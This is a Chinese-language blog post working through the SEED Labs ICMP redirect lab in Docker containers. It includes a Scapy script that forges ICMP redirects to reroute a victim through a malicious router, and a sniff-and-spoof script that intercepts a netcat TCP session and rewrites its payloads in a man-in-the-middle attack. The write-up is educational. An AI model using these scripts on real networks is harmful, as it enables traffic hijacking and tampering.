SEEDLab-ICMP重定向攻击

SEEDLab-ICMP重定向攻击

实验背景

ICMP重定向是一种由路由器发出的ICMP消息。当路由器认为一个数据包被错误地路由时,它会通知发送者使用不同的路由器来转发后续到同一目的地的数据包。ICMP重定向可以被攻击者用来改变数据包的路由。 本任务的目标是针对受害者发起一个ICMP重定向攻击,使得当受害者向192.168.60.5发送数据包时,它会使用恶意路由器容器(10.9.0.111)作为它的路由器。由于恶意路由器由攻击者控制,攻击者可以拦截这些数据包、对其进行修改,然后重新发送出去。这是一种中间人(MITM)攻击的形式。 本实验涵盖了以下部分:

  • IP和ICMP协议
  • ICMP重定向攻击
  • 路由

实验环境

图1 实验环境设置 在本实验中,我们可以选择使用虚拟机或攻击者容器作为攻击机器。如果查看Docker Compose文件,可以发现攻击者容器的配置与其他容器不同。以下是其中的区别:

  • 共享文件夹。当使用攻击者容器发起攻击时,我们需要将攻击代码放入攻击者容器中。在虚拟机中进行代码编辑比在容器中更为方便,因为我们可以使用我们喜欢的编辑器。为了使虚拟机和容器共享文件,我们使用Docker volumes在虚拟机和容器之间创建了一个共享文件夹。如果你查看Docker Compose文件,就会发现我们已经在某些容器中添加了以下条目。它表示将主机(即VM)上的./volumes文件夹挂载到容器内的/volumes文件夹。我们在虚拟机上将代码写入./volumes文件夹,就可以在容器内使用它们。

  • 特权模式。为了能够在运行时修改内核参数(使用sysctl),例如为了启用IP转发,容器需要被赋予特权。这是通过在容器中的Docker Compose文件包含以下条目来实现的。

实验任务

任务1:发起ICMP重定向攻击

在Ubuntu操作系统中,有针对ICMP重定向攻击的防范措施。在Compose文件中,我们已经关闭了这种防范措施,也就是允许容器接受ICMP重定向消息。

1
2
3
4
5
// 在docker-compose.yml
sysctls:
- net.ipv4.conf.all.accept_redirects=1
// 要开启防护,请将其值设置为0
# sysctl net.ipv4.conf.all.accept_redirects=0

对于本任务,我们将从攻击者容器对受害者的容器发起攻击。当前的配置中,受害者将使用路由器容器(192.168.60.11)作为通往192.168.60.0/24网络的路由器。如果在受害者的容器上运行ip route,我们将看到以下内容

1
2
3
4
# ip route
default via 10.9.0.1 dev eth0
10.9.0.0/24 dev eth0 proto kernel scope link src 10.9.0.5
192.168.60.0/24 via 10.9.0.11 dev eth0

图2 查看受害者路由 如图2,初始状态下,受害者路由经过正确的路由器,到达目的地址。填充代码如下,ICMP数据包的源地址为正确的路由器,目的地址为攻击目标。gw代表ICMP重定向的目标,即伪装路由器。同时ICMP重定向报文中需要有正常的ICMP数据包,在这里仅对包头的地址字段进行设置,报文设置为空。ICMP的type=5代表这是重定向类型,code=1代表主机重定向,这个重定向建议是针对特定目标主机的。

1
2
3
4
5
6
from scapy.all import *
ip = IP(src = '10.9.0.11', dst = '10.9.0.5')
icmp = ICMP(type=5, code=1)
icmp.gw = '10.9.0.111'
ip2 = IP(src = '10.9.0.5', dst = '192.168.60.5')
send(ip/icmp/ip2/ICMP());

验证ICMP重定向消息不会影响路由表,而是会改变路由缓存。路由缓存中的条目比路由表中的条目优先级高,会被先用,直到过期为止。请使用以下命令显示和清理缓存内容。

1
2
3
4
5
6
7
8
// 显示路由缓存
# ip route show cache
192.168.60.5 via 10.9.0.111 dev eth0
cache <redirected> expires 296sec
// 清理路由缓存
# ip route flush cache
请在受害者的机器上进行 traceroute 操作,看看数据包是否被重定向。
# mtr -n 192.168.60.5

图3 攻击未成功 如图3所示,将脚本代码补全后运行,并查看路由缓存,发现并没有攻击成功,推测可能是这个伪造的ICMP伪造数据包没有与之相匹配的ICMP数据包,因此没有通过OS的安全检查,因此下面调整策略,再受害者端持续ping攻击者。在此期间,运行攻击脚本。

图4 攻击成功 如图4所示,运行后查看受害者路由信息,发现路由成功被更改为发往伪装路由器。这说明:如果我们伪造重定向包,但受害者的机器在攻击期间没有发送过ICMP数据包,则该攻击将不会成功。这是因为操作系统内核会在接受ICMP重定向消息之前进行一些类型的检查。它会验证该ICMP重定向是否由其自身发出的数据包触发,即它会检查重定向包内的ip2。这种检查的严格程度取决于操作系统。对于Ubuntu 20.04,内核只是验证重定向包中的ip2是否与触发ICMP重定向的实际数据包的类型和目的IP地址匹配。

  • 问题1:能否使用ICMP重定向攻击将流量重定向到远程机器?即,给icmp.gw赋予的IP地址是一个不在本地局域网上的计算机。

图5 攻击无法成功 如图5所示,这种攻击无法成功。查询可知,重定向报文中所建议的新网关地必须与接收该报文的主机位于同一IP子网内。操作系统内核会严格执行此检查。如果攻击者将一个远程IP设置为icmp.gw,受害者主机的内核在收到此伪造的重定向报文后,会因地址不在本地子网而将其视为无效并直接丢弃,因此攻击失败。

  • 问题2:能否使用ICMP重定向攻击将流量重定向到同一网络中的不存在的机器上?即,给icmp.gw赋予的IP地址是一个在本地局域网上不存在的计算机。请展示实验结果并解释你观察到的现象。

图6 攻击无法成功 如图6所示,受害者路由没有被更改,攻击没有成功。推测其可能受到ARP协议的限制,当受害者主机的内核接受了ICMP重定向消息并更新路由缓存后,它会尝试将发往目标(192.168.60.5)的数据包发往新网关(不存在的 IP)。受害者主机会在本地网络发送ARP请求,以询问该不存在IP的MAC地址。由于该机器不存在,没有任何设备会响应ARP应答。因为无法完成二层封装,受害者主机无法发出数据包,最终会导致通信中断或超时。

  • 问题3:查看docker-compose.yml文件,你会找到恶意路由器容器的以下条目。这些条目的目的是什么?将它们的值改为1,并再次启动攻击。请描述并解释你观察到的现象。
1
2
3
4
sysctls:
- net.ipv4.conf.all.send_redirects=0
- net.ipv4.conf.default.send_redirects=0
- net.ipv4.conf.eth0.send_redirects=0

图7 修改docker配置文件 图8 攻击无法成功 如上图所示,修改docker配置文件并攻击,发现无法成功。 send_redirects 的作用:该参数控制 Linux 节点是否在发现非最优路由时主动发送 ICMP 重定向报文。 攻击者容器伪造了一个来自真实路由器(10.9.0.11)的重定向消息,告诉受害者:“去192.168.60.5请走恶意路由器(10.9.0.111)”。当受害者的包到达恶意路由器(10.9.0.111)后,如果该路由器开启了send_redirects=1,它会发现受害者的包是从eth0进来,经过处理后又要从同一个接口eth0发出去(或发往原始正确的网关)。恶意路由器内核会认为这是一种路由不当的行为,从而主动向受害者发送一个新的、合法的ICMP重定向报文,建议受害者改回使用原始的正确路径。结果就是恶意路由器发送的“修正”报文抵消了攻击者伪造的报文,导致受害者的路由缓存不断被重置回正常状态,攻击因此失效。

任务2:发起MITM攻击

通过ICMP重定向攻击,可以使受害者使用我们的恶意路由器(10.9.0.111)作为通往192.168.60.5的目标路由。因此,从受害者机器发送到此目的地的所有数据包都将通过恶意路由器进行转发。我们希望能够修改受害者的数据包。 在发起MITM攻击之前,我们在受害者的容器中使用netcat启动一个TCP客户端和服务端程序。命令如下:

1
2
3
4
// 在目标容器192.168.60.5上启动netcat服务:
# nc -lp 9090
// 在受害者的容器中连接到服务器:
# nc 192.168.60.5 9090

图9 使用TCP进行通信

一旦建立连接,你可以在受害者机器上输入消息。每行消息都会被放入一个TCP数据包发送至目的地,目的地会简单地显示这些消息。你的任务是将每条消息中的你名字(拼音)出现的地方替换为一系列A。序列的长度应与你名字相同,否则可能会扰乱TCP序号,从而导致整个TCP连接失败。你需要使用真实的名字,以便我们知道工作是由谁完成的。 禁用IP转发。 在设置中,恶意路由器启用了IP转发功能,因此它像一个路由器一样为其他机器转发数据包。当我们发起MITM攻击时,我们必须停止转发 IP 数据包。我们将拦截这些数据包,对其进行修改,然后重新发送出去。要做到这一点,我们只需在恶意路由器上禁用IP转发即可。

1
sysctl net.ipv4.ip_forward=0

图10 禁用IP转发 MITM代码。 一旦禁用了IP转发,我们的程序需要接管数据包转发角色,当然是在修改数据包后再发送出去。由于数据包的目的地不是我们自己,内核不会将这个数据包传递给我们,而是会丢弃这个数据包。然而,如果我们的程序是一个嗅探器程序,我们将从内核那里获取到这个数据包。因此,我们将使用嗅探和伪造技术来实施这种MITM攻击。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
#!/usr/bin/env python3
from scapy.all import *

print("LAUNCHING MITM ATTACK.........")

def spoof_pkt(pkt):
newpkt = IP(bytes(pkt[IP]))
del(newpkt.chksum)
del(newpkt[TCP].payload)
del(newpkt[TCP].chksum)

if pkt[TCP].payload:
data = pkt[TCP].payload.load
print("*** %s, length: %d" % (data, len(data)))

# Replace a pattern
newdata = data.replace(b'Gao Bo', b'AAAAAA')

send(newpkt/newdata)
else:
send(newpkt)

f = 'tcp and ether src host 02:42:0a:09:00:05'
pkt = sniff(iface='eth0', filter=f, prn=spoof_pkt)

图11 查看伪装路由器的MAC地址 图12 MITM攻击成功 图13 脚本输出

  • 问题4:在你的MITM程序中,你只需要捕捉一个方向的数据流量。请指出你选的方向,并解释为什么。 只需要过滤出victim到host的报文即可,因为这个方向的报文是需要修改的。
  • 问题5:在MITM程序中,当你从A(10.9.0.5)捕获nc流量时,你可以使用A的IP地址或MAC地址作为过滤器的一部分。其中有一种选择是不好的,它会引发问题。请尝试两种方法,通过实验结果展示哪种选择是正确的,并解释你的结论。

图14 循环发送包 因为若以受害者的IP作为过滤条件,程序会无法区分受害者发出的原始包与攻击者程序伪造出的包(源被伪造成受害者),导致程序不断捕获自己发出的数据包并陷入死循环发送的困境(如图13所示);而通过指定受害者的物理MAC地,过滤器能精准识别流量的真实硬件来源,从而有效避开攻击者自身发出的伪造包。


SEEDLab-ICMP重定向攻击
https://eleco.top/2026/04/21/SEEDLab-ICMP重定向攻击/
作者
Eleco
发布于
2026年4月21日
许可协议